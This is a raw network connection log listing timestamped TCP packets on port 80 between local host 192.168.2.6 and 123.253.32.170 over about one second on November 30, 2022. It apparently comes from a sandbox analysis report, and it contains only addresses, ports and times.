Nov 30, 2022 00:11:15.909432888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909446955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909460068 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909475088 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909487963 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909516096 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.909521103 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909527063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909535885 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909543991 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909553051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.909559965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909579039 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909596920 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909610987 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909619093 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.909626007 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909640074 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909652948 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.909658909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909677029 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909687996 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909698963 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.909707069 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909761906 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.909761906 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.910712004 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.910734892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.910748959 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.910763979 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.910777092 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.910790920 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.910816908 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.910854101 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.910854101 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.912420034 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.912439108 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.912470102 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.912483931 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.912530899 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.912569046 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.988676071 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.988699913 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.988856077 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.992358923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.992381096 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.992393970 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.992419958 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.992444992 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.992451906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.992487907 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.992527008 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.076738119 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.076776981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.076939106 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.160633087 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.160685062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.160717964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.160749912 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.160785913 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.160818100 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.160851955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.160906076 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.160976887 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.160976887 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.161103964 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.166791916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.166862965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.167089939 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.170964003 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171014071 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171065092 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171101093 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171145916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171180010 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.171189070 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171210051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.171224117 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171264887 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171300888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171309948 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.171334982 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171340942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.171369076 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171392918 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.171421051 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171458006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171490908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171509981 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.171525955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171554089 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.171560049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171592951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171626091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.171669960 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.171715021 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.179016113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179049969 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179088116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179119110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179213047 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.179270029 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.179488897 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179519892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179557085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179585934 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179622889 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179635048 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.179635048 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.179652929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179682016 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179719925 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179735899 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.179753065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179780960 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179820061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179836988 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.179850101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179878950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179913998 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179927111 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.179943085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.179960966 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.179971933 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180000067 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180037022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180049896 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.180067062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180093050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180128098 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180145025 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.180156946 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180185080 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180221081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180232048 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.180248976 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180263996 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.180278063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180350065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180386066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180403948 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.180414915 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180432081 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.180444956 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180474043 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180510998 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.180524111 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.180555105 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.184389114 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.184429884 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.184463978 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.184501886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.184566975 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.184612989 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.260730982 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.260802984 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.260948896 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.262408018 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.262455940 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.262500048 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.262542009 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.262551069 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.262586117 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.262634039 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.262635946 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.263916016 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.347017050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.347101927 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.347250938 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.431126118 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.431207895 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.431253910 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.431296110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.431338072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.431353092 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.431353092 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.431381941 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.431427002 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.431473017 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.431478024 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.435472012 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.438023090 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.438081980 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.438158035 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.441451073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.441505909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.441549063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.441591978 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.441634893 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.441647053 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.441679955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.441694021 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.441725016 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.441726923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.441771030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.441814899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.441864014 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.441864014 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.441906929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.441950083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.441956997 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.441997051 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.442043066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.442043066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.442089081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.442132950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.442138910 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.442177057 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.442178011 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.442224979 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.442272902 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.449157953 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.449251890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.449320078 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.449387074 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.449392080 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.449516058 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.449879885 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.449965000 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450030088 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450083017 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.450115919 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450189114 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450247049 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.450259924 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450311899 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.450334072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450403929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450465918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450478077 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.450540066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450591087 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450604916 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.450635910 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450681925 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450692892 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.450726032 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450767994 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450812101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450849056 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.450867891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.450927019 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.450958967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451016903 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.451025009 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451103926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451142073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451169968 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.451200962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451257944 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451258898 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.451345921 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451419115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451474905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.451479912 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451535940 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451553106 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.451581955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451647043 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451703072 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.451714039 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451781034 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.451829910 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.451853037 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.452956915 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.454255104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.454339027 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.454396009 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.454405069 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.454478025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.454533100 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.530838013 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.530870914 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.531033993 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.532314062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.532356024 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.532373905 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.532401085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.532428026 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.532453060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.532491922 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.532531023 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.617243052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.617292881 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.617815018 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.701271057 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.701302052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.701323986 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.701344967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.701365948 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.701386929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.701407909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.701431036 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.701483011 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.701538086 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.705204964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.707787037 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.707818031 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.707920074 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.712133884 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.712152958 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.712188959 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.712213039 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.712239981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.712254047 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.712254047 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.712290049 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.712294102 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.712361097 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.712388039 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.712412119 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.712429047 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.712477922 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.712481976 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.712563992 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.713074923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.713123083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.713148117 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.713165998 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.713167906 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.713332891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.713361025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.713398933 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.713402987 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.714961052 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.719114065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.719153881 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.719181061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.719247103 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.719265938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.721573114 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.721697092 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.721702099 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.721730947 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.721795082 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.721818924 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.721846104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.721849918 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:16.721870899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:16.721872091 CET	49725	80	192.168.2.6	123.253.32.170
